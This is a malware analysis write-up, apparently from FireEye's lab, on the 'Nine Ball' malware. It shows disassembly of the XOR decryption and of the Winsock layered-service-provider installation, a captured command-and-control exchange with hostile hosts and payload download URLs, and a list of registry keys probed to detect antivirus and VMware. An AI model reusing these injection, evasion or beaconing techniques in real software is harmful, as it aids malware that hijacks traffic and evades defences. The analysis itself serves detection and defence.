It all started when reports started to come from WebSense that more than 40,000 legitimate web sites had been compromised by a new wave of attacks being dubbed as 'Nine Ball'. Initial reports did not have enough details to help identify the malware behind these attacks. Luckily soon after, Andrew Martin came up with a very good write up about the malware behind the scenes. My article is an extension of Martin's initial analysis. I'll try to concentrate on aspects of this malware not already covered. From Andrew's analysis, I was able to find the md5 of the parent malware (the one which is dropped by web exploit(s)). It was enough to give me a good starting point.
The malware (32b7671aab9a5b8cf17d8eeb0993a266) was found to be packed with 'ASPack'. Upon execution this binary extracts two files out if its resource section and copies them under %SYSTEM%.
SOCKET2w.DLL: efe928d8f1c0fd75b72f69f6eb874f53
SPORDER.DLL : a082e5473b2a9a4d846ed7ddf637ac76
Without diving into a deep analysis, the names of these dll files are enough to give a hint about the underlying functionality. "SPORDER.DLL" is a legitimate API set provided by Microsoft (part of Platform SDK which doesn't come with the standard Windows installation) to help install additional layered service providers (LSP). In windows LSPs are a layer between WINSOCK2 and lower level transport services like TCP/IP. In short LSPs give a way to intercept the traffic going in or out of the system. All the transport level WINSOCK API calls will eventually be redirected to a chain of installed LSPs APIs. The SPI (service provider interface) was actually designed to enhance the capability of the Windows WINSOCK interface but due to its capability to intercept network traffic at user space, many malware started using it for traffic sniffing.
Initially I thought SOCKET2w.DLL was the malware LSP module (LSPs exist in the form of dlls) containing all the logic but this was not completely true. It's an encrypted form of the actual LSP dll. It happens like this, after SOCKET2w.dll is extracted from the resource section, its contents are decrypted and stored in a new file with the name of SOCKET2.DLL. This is the actual PE file which will be installed as LSP on the infected system later on.
The decryption logic looks like this:
Every byte of SOCKET2w.DLL is xored with one byte from a magic number 0x1F90FEB cyclically.
byte[0] ^= 0xEB;
byte[1] ^= 0x0F;
byte[2] ^= 0xF9;
byte[3] ^= 0×01;
byte[4] ^= 0xEB; // BACK TO FIRST BYTE
byte[5] ^= 0x0F
.
.
and so on
The real implementation looks like this:
.text:00401B54 sub esp, 10h
.text:00401B57 mov ecx, [esp+10h+arg_4]
.text:00401B5B test ecx, ecx
.text:00401B5D jbe short loc_401BA2
.text:00401B5F xor edx, edx
.text:00401B61 mov eax, 1
.text:00401B66 mov [esp+10h+var_4], ebx
.text:00401B6A mov [esp+10h+var_8], esi
.text:00401B6E mov [esp+10h+var_C], edi
.text:00401B72 mov [esp+10h+var_10], ebp
.text:00401B75 mov ebp, [esp+10h+arg_8]
.text:00401B79 mov esi, [esp+10h+arg_0]
.text:00401B7D
.text:00401B7D loc_401B7D:
.text:00401B7D movzx ebx, byte ptr [eax+ebp-1]
.text:00401B82 xor [edx+esi], bl
.text:00401B85 cmp eax, [esp+10h+arg_C]
.text:00401B89 jnz short loc_401B8D
.text:00401B8B xor eax, eax
.text:00401B8D
.text:00401B8D loc_401B8D:
.text:00401B8D inc edx
.text:00401B8E inc eax
.text:00401B8F cmp edx, ecx
.text:00401B91 jb short loc_401B7D
.text:00401B93 mov ebx, [esp+10h+var_4]
.text:00401B97 mov esi, [esp+10h+var_8]
.text:00401B9B mov edi, [esp+10h+var_C]
.text:00401B9F mov ebp, [esp+10h+var_10]
.text:00401BA2
.text:00401BA2 loc_401BA2:
.text:00401BA2 mov eax, 1
.text:00401BA7 add esp, 10h
.text:00401BAA retn 10h
.text:00401BAA sub_401B54 endp
SOCKET2.DLL is further registered as a non IFS based Layered Service Provider.
.text:0040152B push offset LibFileName ; "sporder.dll"
.text:00401530 call ds:LoadLibraryA
.text:00401536 mov dword_405040, eax
.text:0040153D jz short loc_40155A
.text:0040153F push offset ProcName ; "WSCWriteProviderOrder"
.text:00401544 push eax ; hModule
.text:00401545 call ds:GetProcAddress
.text:0040154B mov dword_405124, eax
.text:00401550 xor edx, edx
.text:00401552 test eax, eax
.text:00401554 setnz dl
.text:00401557 mov eax, edx
.text:00401559 retn
.text:00401B28 push edx
.text:00401B29 mov edx, [ebp+Memory]
.text:00401B2C push edx
.text:00401B2D call dword_405124
What this means is that whenever any user level application tries to use the WINSOCK interface, SOCKET2.DLL will get loaded automatically into that process's address space. It gives this malware a root kit functionality as well as ability to intercept network traffic at the user space level.
To invoke the malware instance, I launched a telnet session to www.google.com from the infected PC. It resulted in loading SOCKET2.DLL into the telnet process space. Right after that, I observed an outbound cnc communication:
GET /zub/zc.php?l=US&d=EC4E4AF4EA4A44D19568ADB88998D52A&v=3.15.3&sft=AAAAAAAAA&rvz1=41&rvz2=0000597198 HTTP/1.1
Host: trafficshop.tw
HTTP/1.1 200 OK
Date: Fri, 19 Jun 2009 17:54:32 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.9
Vary: Accept-Encoding,User-Agent
Content-Length: 1322
Content-Type: text/html
#U1:http://orep.tw/socks.exe
#U1:http://orep.tw/sever.exe
#U1:http://orep.tw/ic.exe
#U;: | |ADVERTISING|——————————————-| | |Men and Woman Health T.a.b.s.| |Health&Care online Shop.|Low pricing, discounts, flawless customer support. New discounts and special offers !| |http://www.webo.tw||——————————————-|%%
#U7: | |ADVERTISING|——————————————-| | |Men and Woman Health T.a.b.s.| |Health&Care online Shop.|Low pricing, discounts, flawless customer support. New discounts and special offers !| |http://www.webo.tw||——————————————-|%%
#U?: | |ADVERTISING|——————————————-| | |Men and Woman Health T.a.b.s.| |Health&Care online Shop.|Low pricing, discounts, flawless customer support. New discounts and special offers !| |http://www.webo.tw||——————————————-|%%
#U=: | |FORUM ADVERTISING|——————————————-||[URL=http://www.best-med-shop.com] ||Canadian medicine and pharmacy is most professional. Generic pills. High qulity and lowest price.||Viagra, Cialis, Levitra, Propecia, Champix, Tamiflu, Xenical, Reductil, Intrinsa…. [/url]|||http://www.best-med-shop.com||——————————————-%%
There are two things which are clearly visible from the above communication:
1. This malware has quite a robust download mechanism. Which could be used for the malware update itself or for dropping other malware onto the infected system.
2. It has something to do with advertisements. As a matter of fact its existence at the LSP layer is giving it a very powerful capability to inject these fake advertisements into any legitimate session.
If we see the code structure inside SOCKET2.DLL, it can logically be divided into two parts.
1. Command and control coordination module.
2. Network session manipulation/hijacking (actual payload).
Almost all the CnC coordination and initial setup logic can be found in 'DllMain'. The first few statements in DllMain try to check the name of the current process. If the current instance is one of these processes,
1.svhost.exe
2.lsass.exe
3. winlogon.exe
4.alg.exe
5.norun.exe
DllMain retur
ns without doing anything, passing control gracefully to the lower level LSPs. It's a deliberate attempt by SOCKET2.DLL not to inject itself in the critical system processes. If the running process is not one of the above mentioned processes it generates a unique 32 character User ID and writes it under
HKEY_LOCAL_MACHINE\SOFTWARE\\MICROSOFT\\WINDOWS
SUID= 32 character string
This SUID is calculated with the help of these two APIs
CoCreateGuid
StringFromGUID2
The SUID will consist of the first 32 non null characters returned by 'StringFromGUID2' excluding the first non null character '{'.
A typical SUID instance will look like this 'EC4E4AF4EA4A44D19568ADB88998D52A'
After setting the 'SUID' value, another registry value 'IVS' of dword type is created under 'HKEY_LOCAL_MACHINE\SOFTWARE\\MICROSOFT\\WINDOWS' and is initialized with 0. IVS is a persistent variable which is incremented every time a unique session is intercepted by the SOCKET2.DLL (which will be discussed later on).
After creating the above mentioned registry keys, a mutex is checked/created with the name of 'Global\FGVVSDSGBB'. If the mutex is not already present (from a previous instance of SOCKET2.DLL) the code starts preparing itself for CnC communication.
GET
/zub/zc.php?l=US&d=EC4E4AF4EA4A44D19568ADB88998D52A&v=3.15.3&sft=AAAAAAAAA&rvz1=41&rvz2=0000597198
HTTP/1.1
Host: trafficshop.tw
In this process, different system attributes are retrieved and sent back to the CnC server in the form of 'HTTP GET' parameters. Let's start finding out how the above mentioned GET request is formulated.
1. the host 'trafficshop.tw' and the first part of URI (/zub/zc.php) are hard coded in the code.
2. 'l=' describes the user's locale , retrieved from the 'GetLocaleInfoA' API.
3. 'd=' is a 32 character 'SUID' as discussed above. It probably helps the botmaster count the number of unique zombies.
4. 'v=' at this location a hard coded string "3.15.3" is always supplied.
5. 'sft=' represents an interesting malware feature, its ability to check the installation of a large array of security products on the infected system. Once this information is retrieved it is sent back to the CnC server inside the 'sft=' value. Each character in the value string represents the existence of a particular security product on the infected system. The absence of any any particular AV package will result in sending 'A' instead. It does so by probing different registry keys created by different AV suites like:
HKLM\Software\KasperskyLab
HKLM\Software\McAfee\VirusScan
HKLM\Software\Symantec\Symantec AntiVirus
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AntiVir PersonalEdition Classic
HKLM\SYSTEM\ControlSet001\Services\avgntflt
HKLM\Software\ALWIL Software\Avast
HKLM\Software\Doctor Web, Ltd.
HKLM\Software\Panda Software
HKLM\Software\FRISK Software International
HKLM\Software\Ukranian Antivirus center
HKLM\Software\SOFTWIN\BitDefender Desktop\Maintenance\Install
HKLM\Software\PepiMK Software\SpybotSnD
HKLM\Software\Arovax AntiSpyware
HKLM\Software\Grisoft\AVGAntiSpyware
HKLM\Software\ComputerAssociates\eTrustPestPatrol
HKLM\Software\McAfee\McAfee AntiSpyware
HKLM\Software\Spyware Begone!
HKLM\Software\Chilkat Software, Inc.
HKLM\SYSTEM\CurrentControlSet\Services\WinDefend
Not only does it detect security products but it also tries to check for the existence of VmWare by checking the following key.
HKLM\Software\VMware, Inc.
Please note here that checking these security product installations is only done once. A registry value
HKEY_LOCAL_MACHINE\SOFTWARE\\MICROSOFT\\WINDOWS
sft=
is checked first. If this registry value is already set then this process is skipped, otherwise the AVs existence will be checked and afterward the 'sft' value will be set to 'x'.
.text:10001E71 push edx ; lpData
.text:10001E72 push ecx ; lpType
.text:10001E73 push ebx ; lpReserved
.text:10001E74 push offset ValueName ; "sft"
.text:10001E79 push [ebp+hKey] ; hKey
.text:10001E7C call ds:RegQueryValueExA
.text:10001E82 test eax, eax
.text:10001E84 jz loc_10001F70
.text:10001E8A push offset Data ; "x"
.text:10001E8F call ds:lstrlenA
.text:10001E95 add eax, 1
.text:10001E98 push eax ; cbData
.text:10001E99 push offset Data ; "x"
.text:10001E9E push 1 ; dwType
.text:10001EA0 push 0 ; Reserved
.text:10001EA2
push offset ValueName ; "sft"
.text:10001EA7 push [ebp+hKey] ; hKey
.text:10001EAA call ds:RegSetValueExA
.text:10001EB0 lea ecx, [ebp+var_A8]
.text:10001EB6 mov [ebp+var_5C], ecx
.text:10001EB9 call ??0CString@@QAE@XZ ; CString::CString(void)
.text:10001EBE mov [ebp+var_4], 6
.text:10001EC5 lea ecx, [ebp+var_A4]
.text:10001ECB call ??0CStringArray@@QAE@XZ ; CStringArray::CStringArray(void)
.text:10001ED0 mov [ebp+var_4], 7
.text:10001ED7 lea ecx, [ebp+var_90]
.text:10001EDD call ??0CStringArray@@QAE@XZ ; CStringArray::CStringArray(void)
.text:10001EE2 mov [ebp+var_4], 8
.text:10001EE9 lea eax, [ebp+var_64]
.text:10001EEC push 0
.text:10001EEE push eax
.text:10001EEF lea ecx, [ebp+var_A8]
.text:10001EF5 call CheckAVProducts
6. 'rvz1=' is filled by a random number returned by the rand() function.
7.rvz2 = is filled by the number returned by GetTickCount, where this API returns the number of milliseconds since the device booted.
.text:10010BF5 mov [ebp+var_4], 1
.text:10010BFC mov eax, ds:rand
.text:10010C01 call eax ; rand
.text:10010C03 mov [ebp+var_28], eax
.text:10010C06 mov eax, ds:GetTickCount
.text:10010C0B call eax ; GetTickCount
.text:10010C0D mov [ebp+var_24], eax
.text:10010C10 add esp, 0FFFFFFF0h
.text:10010C13 lea eax, [ebp+var_3C]
.text:10010C16 mov [esp+54h+var_54], eax
.text:10010C19 mov [esp+54h+var_50], offset aRvz1DRvz2_10u ; "rvz1=%d&rvz2=%.10u"
.text:10010C21 mov eax, [ebp+var_28]
.text:10010C24 mov [esp+54h+var_4C], eax
.text:10010C28 mov eax, [ebp+var_24]
.text:10010C2B mov [esp+54h+var_48], eax
.text:10010C2F call ?Format@CString@@QAAXPBDZZ ; CString::Format(char const *,…)
Once the complete URL is formulated it is sent to the remote server with a call to 'CInternetSession__OpenURL'. Thi
s pretty much completes the entire command and control coordination phase.
Since this article has already grown quite big so I am skipping the details of the malware paylaod (intercepting the Winsock call for injecting the advertisement) for today. These details will be discussed in next part of this article..
Atif Mushtaq @ FireEye Malware Intelligence Lab
Question/Comments : research SHIFT-2 fireeye DOT COM





